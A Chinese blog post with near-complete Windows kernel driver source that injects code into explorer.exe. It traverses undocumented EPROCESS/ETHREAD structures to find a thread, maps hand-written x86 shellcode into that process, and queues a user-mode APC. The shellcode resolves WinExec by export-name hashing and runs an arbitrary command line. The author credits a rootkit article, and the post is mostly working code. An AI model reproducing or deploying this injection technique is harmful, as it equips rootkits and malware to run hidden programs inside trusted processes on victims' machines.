内核模式 注入DLL

//用APC实现在内核模式运行用户程序
//昨天晚上弄到1点,总算把这个东西调通了,这个是老技术了,在rootkit上又篇文章讨论过,参考那篇文章我把这个东西弄出来了.代码贴在下面灌水,高手就不用看了......
//=====================================================================================//
//Name: void RunUserModeProcess()                                                              //
//                                                                                     //
//Descripion: This routine retrieves the list of all processes running on the machine, //
//            searches for 'explorer.exe', gets one thread from it's PEPROCESS struct, //
//            then it queues an APC to that thread                                     //
//=====================================================================================//
NTSTATUS 
InstallUserModeApc(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess);
void ApcCreateProcess(PVOID NormalContext, PVOID  SystemArgument1, PVOID SystemArgument2);
void ApcCreateProcessEnd();
#define PS_IS_THREAD_IMPERSONATING(Thread) (((Thread)->CrossThreadFlags&PS_CROSS_THREAD_FLAGS_IMPERSONATING) != 0)
typedef enum _KAPC_ENVIRONMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
} KAPC_ENVIRONMENT;
//===========================================================================================//
extern "C"
NTKERNELAPI
BOOLEAN
KeInsertQueueApc (
      __inout PRKAPC Apc,
      __in_opt PVOID SystemArgument1,
      __in_opt PVOID SystemArgument2,
      __in KPRIORITY Increment
      );
extern "C"
NTKERNELAPI
VOID
KeInitializeApc (
     __out PRKAPC Apc,
     __in PRKTHREAD Thread,
     __in KAPC_ENVIRONMENT Environment,
     __in PKKERNEL_ROUTINE KernelRoutine,
     __in_opt PKRUNDOWN_ROUTINE RundownRoutine,
     __in_opt PKNORMAL_ROUTINE NormalRoutine,
     __in_opt KPROCESSOR_MODE ProcessorMode,
     __in_opt PVOID NormalContext
     );
/============================================
//=============================================
typedef struct _ETHREAD {
KTHREAD Tcb;
LARGE_INTEGER CreateTime;
union {
  LARGE_INTEGER ExitTime;
  LIST_ENTRY LpcReplyChain;
  LIST_ENTRY KeyedWaitChain;
};
union {
  NTSTATUS ExitStatus;
  PVOID OfsChain;
};
//
// Registry
//
LIST_ENTRY PostBlockList;
//
// Single linked list of termination blocks
//
union {
  //
  // List of termination ports
  //
  PTERMINATION_PORT TerminationPort;
  //
  // List of threads to be reaped. Only used at thread exit
  //
  struct _ETHREAD *ReaperLink;
  //
  // Keyvalue being waited for
  //
  PVOID KeyedWaitValue;
};
KSPIN_LOCK ActiveTimerListLock;
LIST_ENTRY ActiveTimerListHead;
CLIENT_ID Cid;
//
// Lpc
//
union {
  KSEMAPHORE LpcReplySemaphore;
  KSEMAPHORE KeyedWaitSemaphore;
};
union {
  PVOID LpcReplyMessage;          // -> Message that contains the reply
  PVOID LpcWaitingOnPort;
};
//
// Security
//
//
//    Client - If non null, indicates the thread is impersonating
//        a client.
//
PPS_IMPERSONATION_INFORMATION ImpersonationInfo;
//
// Io
//
LIST_ENTRY IrpList;
//
//  File Systems
//
ULONG_PTR TopLevelIrp;  // either NULL, an Irp or a flag defined in FsRtl.h
struct _DEVICE_OBJECT *DeviceToVerify;
PEPROCESS ThreadsProcess;
PVOID StartAddress;
union {
  PVOID Win32StartAddress;
  ULONG LpcReceivedMessageId;
};
//
// Ps
//
LIST_ENTRY ThreadListEntry;
//
// Rundown protection structure. Acquire this to do cross thread
// TEB, TEB32 or stack references.
//
EX_RUNDOWN_REF RundownProtect;
//
// Lock to protect thread impersonation information
//
EX_PUSH_LOCK ThreadLock;
ULONG LpcReplyMessageId;    // MessageId this thread is waiting for reply to
ULONG ReadClusterSize;
//
// Client/server
//
ACCESS_MASK GrantedAccess;
//
// Flags for cross thread access. Use interlocked operations
// via PS_SET_BITS etc.
//
//
// Used to signify that the delete APC has been queued or the
// thread has called PspExitThread itself.
//
#define PS_CROSS_THREAD_FLAGS_TERMINATED           0x00000001UL
//
// Thread create failed
//
#define PS_CROSS_THREAD_FLAGS_DEADTHREAD           0x00000002UL
//
// Debugger isn't shown this thread
//
#define PS_CROSS_THREAD_FLAGS_HIDEFROMDBG          0x00000004UL
//
// Thread is impersonating
//
#define PS_CROSS_THREAD_FLAGS_IMPERSONATING        0x00000008UL
//
// This is a system thread
//
#define PS_CROSS_THREAD_FLAGS_SYSTEM               0x00000010UL
//
// Hard errors are disabled for this thread
//
#define PS_CROSS_THREAD_FLAGS_HARD_ERRORS_DISABLED 0x00000020UL
//
// We should break in when this thread is terminated
//
#define PS_CROSS_THREAD_FLAGS_BREAK_ON_TERMINATION 0x00000040UL
//
// This thread should skip sending its create thread message
//
#define PS_CROSS_THREAD_FLAGS_SKIP_CREATION_MSG    0x00000080UL
//
// This thread should skip sending its final thread termination message
//
#define PS_CROSS_THREAD_FLAGS_SKIP_TERMINATION_MSG 0x00000100UL
union {
  ULONG CrossThreadFlags;
  //
  // The following fields are for the debugger only. Do not use.
  // Use the bit definitions instead.
  //
  struct {
   ULONG Terminated              : 1;
   ULONG DeadThread              : 1;
   ULONG HideFromDebugger        : 1;
   ULONG ActiveImpersonationInfo : 1;
   ULONG SystemThread            : 1;
   ULONG HardErrorsAreDisabled   : 1;
   ULONG BreakOnTermination      : 1;
   ULONG SkipCreationMsg         : 1;
   ULONG SkipTerminationMsg      : 1;
  };
};
//
// Flags to be accessed in this thread's context only at PASSIVE
// level -- no need to use interlocked operations.
//
union {
  ULONG SameThreadPassiveFlags;
  struct {
   //
   // This thread is an active Ex worker thread; it should
   // not terminate.
   //
   ULONG ActiveExWorker : 1;
   ULONG ExWorkerCanWaitUser : 1;
   ULONG MemoryMaker : 1;
   //
   // Thread is active in the keyed event code. LPC should not run above this in an APC.
   //
   ULONG KeyedEventInUse : 1;
  };
};
//
// Flags to be accessed in this thread's context only at APC_LEVEL.
// No need to use interlocked operations.
//
union {
  ULONG SameThreadApcFlags;
  struct {
   //
   // The stored thread's MSGID is valid. This is only accessed
   // while the LPC mutex is held so it's an APC_LEVEL flag.
   //
   BOOLEAN LpcReceivedMsgIdValid : 1;
   BOOLEAN LpcExitThreadCalled   : 1;
   BOOLEAN AddressSpaceOwner     : 1;
   BOOLEAN OwnsProcessWorkingSetExclusive  : 1;
   BOOLEAN OwnsProcessWorkingSetShared     : 1;
   BOOLEAN OwnsSystemWorkingSetExclusive   : 1;
   BOOLEAN OwnsSystemWorkingSetShared      : 1;
   BOOLEAN OwnsSessionWorkingSetExclusive  : 1;
   BOOLEAN OwnsSessionWorkingSetShared     : 1;
#define PS_SAME_THREAD_FLAGS_OWNS_A_WORKING_SET    0x000001F8UL
   BOOLEAN ApcNeeded                       : 1;
  };
};
BOOLEAN ForwardClusterOnly;
BOOLEAN DisablePageFaultClustering;
UCHAR ActiveFaultCount;
#if defined (PERF_DATA)
ULONG PerformanceCountLow;
LONG PerformanceCountHigh;
#endif
} ETHREAD, *PETHREAD;
//=====================================================================================//
typedef struct _EPROCESS {
KPROCESS                            Pcb; // +0x000
EX_PUSH_LOCK                     ProcessLock; // +0x06c
LARGE_INTEGER                   CreateTime; // +0x070
LARGE_INTEGER                   ExitTime; // +0x078
EX_RUNDOWN_REF                RundownProtect; // +0x080
ULONG                                  UniqueProcessId; // +0x084
LIST_ENTRY                          ActiveProcessLinks; // +0x088
ULONG                                    QuotaUsage[3]; // +0x090
ULONG                                   QuotaPeak[3]; // +0x09c
ULONG                                   CommitCharge; // +0x0a8
ULONG                                   PeakVirtualSize; // +0x0ac
ULONG                                   VirtualSize; // +0x0b0
LIST_ENTRY                          SessionProcessLinks; // +0x0b4
PVOID                                    DebugPort; // +0x0bc
PVOID                                   ExceptionPort; // +0x0c0
PHANDLE_TABLE                   ObjectTable; // +0x0c4
EX_FAST_REF                     Token; // +0x0c8
FAST_MUTEX                        WorkingSetLock; // +0x0cc
ULONG                                      WorkingSetPage; // +0x0ec
KGUARDED_MUTEX               AddressCreationLock; // +0x0f0
ULONG                                   HyperSpaceLock; // +0x110
PETHREAD                           ForkInProgress; // +0x114
ULONG                                HardwareTrigger; // +0x118
PVOID                                     VadRoot;// +0x11c
PVOID                                     VadHint;// +0x120
PVOID                                 CloneRoot; // +0x124
ULONG                                  NumberOfPrivatePages; // +0x128
ULONG                                NumberOfLockedPages; // +0x12c
PVOID                                   Win32Process; // +0x130
PEJOB                                Job; // +0x134
PVOID                                 SectionObject; // +0x138
PVOID                                 SectionBaseAddress; // +0x13c
PEPROCESS_QUOTA_BLOCK           QuotaBlock; // +0x140
PPAGEFAULT_HISTORY                    WorkingSetWatch; // +0x144
PVOID                           Win32WindowStation; // +0x148
ULONG                           InheritedFromUniqueProcessId; // +0x14c
PVOID                           LdtInformation; // +0x150
PVOID                           VadFreeHint; // +0x154
PVOID                           VdmObjects; // +0x158
PVOID                           DeviceMap; // +0x15c
LIST_ENTRY                  PhysicalVadList; //+0x160
union {
  HARDWARE_PTE                PageDirectoryPte; // +0x168
  UINT64                      Filler; // +0x168
};
PVOID                           Session; // +0x170
UCHAR                           ImageFileName[16]; // +0x174
LIST_ENTRY                      JobLinks; // +0x184
PVOID                           LockedPagesList; // +0x18c
LIST_ENTRY                      ThreadListHead; // +0x190
PVOID                           SecurityPort; // +0x198
PVOID                           PaeTop; // +0x19c
ULONG                           ActiveThreads; // +0x1a0
ULONG                           GrantedAccess; // +0x1a4
ULONG                           DefaultHardErrorProcessing; // +0x1a8
SHORT                           LastThreadExitStatus; // +0x1ac
PPEB                            Peb; // +0x1b0
EX_FAST_REF                     PrefetchTrace; // +0x1b4
LARGE_INTEGER                   ReadOperationCount; // +0x1b8
LARGE_INTEGER                   WriteOperationCount; // +0x1c0
LARGE_INTEGER                   OtherOperationCount; // +0x1c8
LARGE_INTEGER                   ReadTransferCount; // +0x1d0
LARGE_INTEGER                   WriteTransferCount; // +0x1d8
LARGE_INTEGER                   OtherTransferCount; // +0x1e0
ULONG                           CommitChargeLimit; // +0x1e8
ULONG                           CommitChargePeak; // +0x1ec
PVOID                           AweInfo; // +0x1f0
SE_AUDIT_PROCESS_CREATION_INFO SeAuditProcessCreationInfo; // +0x1f4
ULONG /*MMSUPPORT*/                       Vm; // +0x1f8
ULONG                            LastFaultCount; // 0x238
ULONG                           ModifiedPageCount; // +0x23c
ULONG                          NumberOfVads; // 0x240
ULONG                           JobStatus; // +0x244
union {
  ULONG                       Flags; // 0x248
  struct {
   ULONG                   CreateReported              : 1;
   ULONG                   NoDebugInherit              : 1;
   ULONG                   ProcessExiting              : 1;
   ULONG                   ProcessDelete               : 1;
   ULONG                   Wow64SplitPages             : 1;
   ULONG                   VmDeleted                   : 1;
   ULONG                   OutswapEnabled              : 1;
   ULONG                   Outswapped                  : 1;
   ULONG                   ForkFailed                  : 1;
   ULONG                   Wow64VaSpace4Gb             : 1;
   ULONG                   AddressSpaceInitialized     : 2;
   ULONG                   SetTimerResolution          : 1;
   ULONG                   BreakOnTermination          : 1;
   ULONG                   SessionCreationUnderway     : 1;
   ULONG                   WriteWatch                  : 1;
   ULONG                   ProcessInSession            : 1;
   ULONG                   OverrideAddressSpace        : 1;
   ULONG                   HasAddressSpace             : 1;
   ULONG                   LaunchPrefetched            : 1;
   ULONG                   InjectInpageErrors          : 1;
   ULONG                   VmTopDown                   : 1;
   ULONG                   ImageNotifyDone             : 1;
   ULONG                   PdeUpdateNeeded             : 1;
   ULONG                   VdmAllowed                  : 1;
   ULONG                   Unused                      : 7;
  };
};
NTSTATUS                        ExitStatus; // +0x24c
USHORT                          NextPageColor; // +0x250
union {
  struct {
   UCHAR                   SubSystemMinorVersion; // +0x252
   UCHAR                   SubSystemMajorVersion; // +0x253
  };
  USHORT                      SubSystemVersion; // +0x252
};
UCHAR                           PriorityClass; // +0x254
UCHAR        WorkingSetAcquiredUnsafe; // 0x255
ULONG        Cookie; // +0x258
} EPROCESS, *PEPROCESS; 
typedef struct _EPROCESS *PEPROCESS;
extern "C" void RunUserModeProcess(char* command_line)
{
PEPROCESS pTargetProcess = NULL;     //self explanatory
PKTHREAD pTargetThread = NULL;       //thread that can be either alerable or non-alertable
PKTHREAD pNotAlertableThread = NULL; //non-alertable thread
PEPROCESS pSystemProcess = NULL;     //May not necessarily be the 'System' process
PETHREAD pTempThread = NULL;
PLIST_ENTRY pNextEntry, pListHead, pThNextEntry; 

if(strlen(command_line)>300) return; //name not longer than 300 characters
pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
if(!pSystemProcess) 
{
  DbgPrint("lzplhq -> Cannot find 'System' process!");
  return;
}
if(IsListEmpty(&pSystemProcess->ActiveProcessLinks))
  DbgPrint("lzplhq -> No processes found!");
else
{
  pListHead = &pSystemProcess->ActiveProcessLinks;
  pNextEntry = pListHead->Flink;
  while(pNextEntry != pListHead) //start looping through the available processes
  {
   pSystemProcess = CONTAINING_RECORD(pNextEntry,EPROCESS,ActiveProcessLinks);
   if(pSystemProcess->ActiveThreads)
   {
    if(!IsListEmpty(&pSystemProcess->ThreadListHead))
    {
     //Is this explorer.exe? 
     if(_strnicmp((char*)pSystemProcess->ImageFileName,"explorer.exe",12)==0)
     {
      pTargetProcess = pSystemProcess; //Yes,we have found it!
      pTargetThread = pNotAlertableThread = NULL;
      pThNextEntry = pSystemProcess->ThreadListHead.Flink;
      //Now we loop through it's threads, seeking an alertable thread
      while(pThNextEntry != &pSystemProcess->ThreadListHead)
      {
       pTempThread = CONTAINING_RECORD(pThNextEntry,_ETHREAD,ThreadListEntry); 
       if(pTempThread->Tcb.Alertable) //Tcb is the KTHREAD of this ETHREAD and stands for 'Thread Control Block'
       {
        //Good, an alertable thread was found. 
        pTargetThread = &pTempThread->Tcb;
        DbgPrint("lzplhq -> Found alertable thread");
        //We will be using this one, so break now
        break;
       }
       else
       {
        //Didn't find an alertable thread yet, so we'll keep this one
        //just in case we won't find ANY alertable threads
        pNotAlertableThread = &pTempThread->Tcb;
       }
       pThNextEntry = pThNextEntry->Flink; //check next thread
      }
      break; 
     }
    } 
   }
   pSystemProcess = NULL;
   pNextEntry = pNextEntry->Flink; //get next process
  }
}
if(!pTargetProcess)
{
  DbgPrint("lzplhq -> Couldn't find Explorer.exe!"); 
  return;
}
if(!pTargetThread)
{
  //No alertable thread was found, so let's hope we've at least got a non-alertable one (we'll set its alertable flag ON)
  //There's no problem with non-alertable threads, except for the fact that it takes
  //a little longer for them to return from KernelMode. (that means our process execution will be delayed)
  pTargetThread = pNotAlertableThread;
}
if(pTargetThread)
{
  DbgPrint("lzplhq -> Targeted thread: 0x%p",pTargetThread);
  //We have one thread (alertable or n/a), now install the APC
  InstallUserModeApc(command_line, pTargetThread,pTargetProcess);
}
else
  DbgPrint("lzplhq -> No thread found!"); //Explorer exe with NO threads (???)
}

PMDL pMdl = NULL;
//===================================================================//
//Name: VOID ApcKernelRoutine()                                      //
//                                                                   //
//Descripion: This routine gets called after the APC routine returns //
//            (our process should have been executed by then)        //
//            It frees all the memory allocated by InstallUserModeApc//
//            (APC and MDL)                                          //
//===================================================================//
void ApcKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, 
       IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) 
{
PKEVENT pEvent;
if (Apc)
  ExFreePool(Apc);
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE);

}

//===================================================================//
//Name:                                                              //
//     NTSTATUS InstallUserModeApc()                                 //
//                                                                   //
//Paramters:                                                         //
//          CommandLine - Full path of the process to be executes      //
//          pTargetThread - This is where we queue our APC           //
//          pTargetProcess - Should point to Explorer's EPROCESS     //
//                                                                   //
//Descripion: This routine attaches to 'pTargetThread' and it queues //
//            a UserMode APC that will be excuted next time the      //
//            thread returns from KernelMode                         //
//===================================================================//
NTSTATUS 
InstallUserModeApc(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess)
{
PRKAPC pApc = NULL; //Our APC
PKEVENT pEvent = NULL;
PVOID pMappedAddress = NULL; //This is where the UserMode routine's code will be placed at
ULONG dwSize = 0; //Size of code to be executed in Explorer's address space
KAPC_STATE ApcState; // Needed for KeStackAttachProcess
ULONG *data_addr=0; //just a helper to change the address of the 'push' instruction
//in the ApcCreateProcess routine
ULONG dwMappedAddress = 0; //same as above
NTSTATUS Status = STATUS_UNSUCCESSFUL;
if (!pTargetThread || !pTargetProcess)
  return STATUS_UNSUCCESSFUL;
DbgPrint("command_line:%s\n",CommandLine);
//Allocate memory for our APC
pApc =(PRKAPC) ExAllocatePool (NonPagedPool,sizeof (KAPC)); 
if (!pApc)
{
  DbgPrint("lzplhq -> Failed to allocate memory for the APC structure");
  return STATUS_INSUFFICIENT_RESOURCES;
}
pEvent =(PKEVENT) ExAllocatePool (NonPagedPool,sizeof (KEVENT));
if (!pEvent)
{
  ExFreePool (pApc);
  return STATUS_INSUFFICIENT_RESOURCES;
}
//Get the size of our UserMode code
dwSize = (unsigned char*)ApcCreateProcessEnd-(unsigned char*)ApcCreateProcess;
//Allocate an MDL describing our ApcCreateProcess' memory
pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
if (!pMdl)
{
  DbgPrint("lzplhq -> Failed to allocate MDL");
  ExFreePool (pApc);
  return STATUS_INSUFFICIENT_RESOURCES;
}
__try
{
  //Probe the pages for Write access and make them memory resident
  MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
  DbgPrint("lzplhq -> Exception during MmProbeAndLockPages");
  IoFreeMdl (pMdl);
  ExFreePool (pApc);
  ExFreePool (pEvent);
  return STATUS_UNSUCCESSFUL;
}
//Attach to the Explorer's address space
KeStackAttachProcess((PEPROCESS)&(pTargetProcess->Pcb),&ApcState);
//Now map the physical pages (our code) described by 'pMdl'
pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);
if (!pMappedAddress)
{
  DbgPrint("lzplhq -> Cannot map address");
  KeUnstackDetachProcess (&ApcState);
  IoFreeMdl (pMdl);
  ExFreePool (pApc);
  ExFreePool (pEvent);
  return STATUS_UNSUCCESSFUL;
}
else 
  DbgPrint("lzplhq -> UserMode memory at address: 0x%p",pMappedAddress);
dwMappedAddress = (ULONG)pMappedAddress;
// copy commandline
memset ((unsigned char*)pMappedAddress + 163, 0, 260);
memcpy ((unsigned char*)pMappedAddress + 163, CommandLine,strlen (CommandLine));
//all done, detach now
KeUnstackDetachProcess (&ApcState);
//初始化 APC 对象...
KeInitializeEvent(pEvent,NotificationEvent,FALSE);
KeInitializeApc(pApc,pTargetThread,
  OriginalApcEnvironment,
  &ApcKernelRoutine,NULL,
  (PKNORMAL_ROUTINE)pMappedAddress, UserMode,  NULL);
//...插入APC队列
if (!KeInsertQueueApc(pApc,pEvent,NULL,0))
{
  DbgPrint("lzplhq -> Failed to insert APC");
  MmUnlockPages(pMdl);
  IoFreeMdl (pMdl);
  ExFreePool (pApc);
  ExFreePool(pEvent);
  return STATUS_UNSUCCESSFUL;
}
else
{
  DbgPrint("lzplhq -> APC delivered");
}
//is this a non-alertable thread?
if(!pTargetThread->ApcState.UserApcPending)
{
  //if yes then alert it
  pTargetThread->ApcState.UserApcPending = TRUE;
}
// apc is fired, wait event to signal completion
KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);
DbgPrint("Get the Event\n");
// free event
ExFreePool (pEvent);
if(pMdl)
{
  MmUnlockPages(pMdl);
  IoFreeMdl (pMdl);
  pMdl = NULL;
}
DbgPrint("lzplhq -> ApcKernelRoutine called. Memory freed.");
return 0;
}

//=====================================================================================//
//Name: void ApcCreateProcess()                                                        //
//=====================================================================================//
__declspec(naked) void ApcCreateProcess(PVOID NormalContext, PVOID  SystemArgument1, PVOID SystemArgument2)
{
__asm 
{
  push ebp
   mov     ebp,esp
   push ebx
   push esi
   push edi
   jmp  __startup;                   ; these are just functions.... skip    
__find_kernel32:
  push  esi                         ; Save esi
   push  0x30
   pop   ecx
   mov   eax, fs:[ecx]               ; Extract the PEB
   mov   eax, [eax + 0x0c]           ; Extract the PROCESS_MODULE_INFO pointer from the PEB
   mov   esi, [eax + 0x1c]           ; Get the address of flink in the init module list
   lodsd                             ; Load the address of blink into eax
   mov   eax, [eax + 0x8]            ; Grab the module base address from the list entry
   pop   esi                         ; Restore esi
   ret                               ; Return
__find_function:
  pushad                            ; Save all registers
   mov   ebp, [esp + 0x24]           ; Store the base address in eax
   mov   eax, [ebp + 0x3c]           ; PE header VMA
   mov   edx, [ebp + eax + 0x78]     ; Export table relative offset
   add   edx, ebp                    ; Export table VMA
   mov   ecx, [edx + 0x18]           ; Number of names
   mov   ebx, [edx + 0x20]           ; Names table relative offset
   add   ebx, ebp                    ; Names table VMA
__find_function_loop:
  jecxz __find_function_finished    ; Jump to the end if ecx is 0
   dec   ecx                         ; Decrement our names counter
   mov   esi, [ebx + ecx * 4]        ; Store the relative offset of the name
   add   esi, ebp                    ; Set esi to the VMA of the current name
   xor   edi, edi                    ; Zero edi
   xor   eax, eax                    ; Zero eax
   cld                               ; Clear direction
__compute_hash_again:
  lodsb                             ; Load the next byte from esi into al
   test  al, al                      ; Test ourselves.
   jz    __compute_hash_finished     ; If the ZF is set, we've hit the null term.
   ror   edi, 0xd                    ; Rotate edi 13 bits to the right
   add   edi, eax                    ; Add the new byte to the accumulator
   jmp   __compute_hash_again        ; Next iteration
__compute_hash_finished:         
  cmp   edi, [esp + 0x28]           ; Compare the computed hash with the requested hash
   jnz   __find_function_loop        ; No match, try the next one.
   mov   ebx, [edx + 0x24]           ; Ordinals table relative offset
   add   ebx, ebp                    ; Ordinals table VMA
   mov   cx, [ebx + 2 * ecx]         ; Extrapolate the function's ordinal
   mov   ebx, [edx + 0x1c]           ; Address table relative offset
   add   ebx, ebp                    ; Address table VMA
   mov   eax, [ebx + 4 * ecx]        ; Extract the relative function offset from its ordinal
   add   eax, ebp                    ; Function VMA
   mov   [esp + 0x1c], eax           ; Overwrite stack version of eax from pushad
__find_function_finished:
  popad                             ; Restore all registers
   ret 8
__begin:
  nop
   pop edi                        ; Pop address
   mov ebx, __execute
   sub ebx, __command_line
   sub edi, ebx                ; filename offset
   mov esi,edi                 ; filename to edi
   call __find_kernel32        ; Find kernel32 address
   mov ebx, eax                ; Save address in ebx
   jmp short __execute         ; Skip data
__startup:
  call __begin                ; Fetch our data address

__execute:
  push 0x0e8afe98             ; WinExec hash
   push ebx                   ; kernel32 base address
   call __find_function        ; find address
   xor ecx,ecx
   inc ecx                 ; ecx = 1
   push ecx                ; uCmdShow
   push esi                ; lpCmdLine. We already have the exe path in esi
   call eax                ; call WinExec 
   jmp __end
__command_line:                    ; Space (~300 bytes) for commandline
           nop
         //  ............      ;omit here, total 300 nop instruction
           nop
__end:
  pop edi        ; restore registers
   pop esi
   pop ebx
   pop ebp
   ret 0x0c
}
}
void ApcCreateProcessEnd(){}


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值